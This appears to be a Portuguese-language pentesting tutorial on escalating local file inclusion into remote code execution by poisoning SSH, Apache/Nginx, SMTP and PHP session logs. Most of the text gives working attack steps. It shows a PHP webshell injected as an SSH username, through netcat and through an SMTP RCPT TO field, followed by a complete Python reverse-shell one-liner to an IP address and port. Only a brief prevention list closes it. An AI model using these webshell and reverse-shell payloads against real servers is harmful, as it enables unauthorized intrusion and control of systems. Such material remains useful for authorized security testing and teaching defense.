Aprenda a fazer Log Poisoning em SSH, Apache/Nginx, SMTP e Sessions do PHP via LFI
Entenda sobre LFI e como escalar um Log Poisoning!
Introdução
A técnica de Log Poisoning categorizada pela OWASP TOP-10 em: A09:2021-Security Logging and Monitoring Failures, e pela CWE-532: Insertion of Sensitive Information into Log File, trata-se de sujar logs de serviços e através de Local File Inclusion forçar uma execução e uma resposta vinda do servidor, como uma execução de código remoto que vai interpretar e executar nosso código PHP malicioso.
Agora, o que é LFI?
Local File Inclusion categorizado pela CWE-98, trata-se de uma vulnerabilidade de leitura e execução de arquivos incluídos em uma página, onde o invasor pode explorar dessa vulnerabilidade para ler arquivos do sistema como por exemplo: /etc/passwd, e também executar arquivos.
Mas como isso funciona na prática:
Exploração
Log Poisoning em SSH
O SSH registra seus logs em /var/log/auth.log, tendo em vista isso, se um invasor consegue suja-lo com código malicioso PHP, nesse caso abaixo uma webshell, e o mesmo tem permissão para chama-lo através de uma vulnerabilidade LFI, é possível obter uma interpretação do código PHP, levando a uma execução de código remoto.
No print abaixo, o primeiro passo será:
1- Tentar acessar o arquivo de auth.log via LFI, se conseguir é provavel que seja bem sucedido o ataque.
2 - Agora logaremos no SSH modificando o user para o nosso código malicioso em php, já que temos um LFI que poderá executar o código malicioso que agora ficará contido no arquivo de auth.log do SSH. O poisoning ficará dessa forma:
ssh ‘<?php system($_GET[‘cmd’]);?>’@192.168.10.129
3- Após isso, basta executar o LFI em /var/log/auth.log porém passando o parâmetro &cmd=ls -la
Agora que foi realizado o log poisoning, vamos tentar uma conexão via reverse shell em python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.10.129,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Bingo! reverse shell, vamos para o próximo ponto :D
Log Poisoning em Apache
Em apache o log poisoning funciona com o mesmo conceito, no entanto o apache armazena seus logs no access.log que está em /var/log/apache2, também pode ser feito em nginx em /var/log/nginx/access.log.
Nós iremos basicamente nos conectar na porta que está em execução o apache com o netcat e enviar para ele o mesmo comando em php:
nc ip port
<?php system($_GET[‘cmd’]); ?>
Em relação a execução, ela se dará de forma parecida com a mostrada acima, será passado pelo LFI o caminho do log do apache e o parâmetro junto com o comando que se deseja executar, ex: &cmd=ls -la.
Log Poisoning em SMTP
Também é possível realizar LFI no arquivo no arquivo de log do SMTP, localizado em /var/mail/mail.log.
A questão do acesso via LFI será parecido com os outros casos, e o poisoning será dado de formas variadas, como por exemplo passar código malicioso PHP em RCPT TO no corpo de um email postfix via telnet, como por exemplo:
telnet ip port
MAIL FROM: email@gmail.com
RCPT TO: <?php system($_GET[‘cmd’]); ?>
Log Poisoning em PHP Session
É possível através de uma entrada controlada pelo usuário que esteja sendo gravada em uma sessão do PHP realizar o log poisoning em arquivos de sessões do PHP, e através do LFI ter a execução e interpração de código remoto.
Exemplo:
http://ip/index.php?file=<?php system($_GET["cmd"]);?>http://ip/index.php?file=/var/lib/php/sessions/sess_<your_session>&cmd=idPrevenção LFI e Log Poisoning
- Evitar a inclusão de arquivos por entradas que podem ser controladas pelo usuário;
- Realizar validação e Sanitização de entrada controlada pelo usuário do lado do servidor incluindo parâmetros, valores de cookies, headers, etc…;
- Limitar acesso a diretórios e arquivos de logs;
- Aplicar whitelist de arquivos permitidos;
- Limitar o tipo de extensão de arquivos de arquivos permitidos no servidor;
- Executar o servidor sempre com baixo privilégio;
- Utilizar banco de dados para armazenamento de arquivos que serão utilizados pelo servidor, evitando assim armazenar diretamente no servidor, isso ajudará na redução de superfície do ataque.
Referências:
https://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester
Rede social para contato:
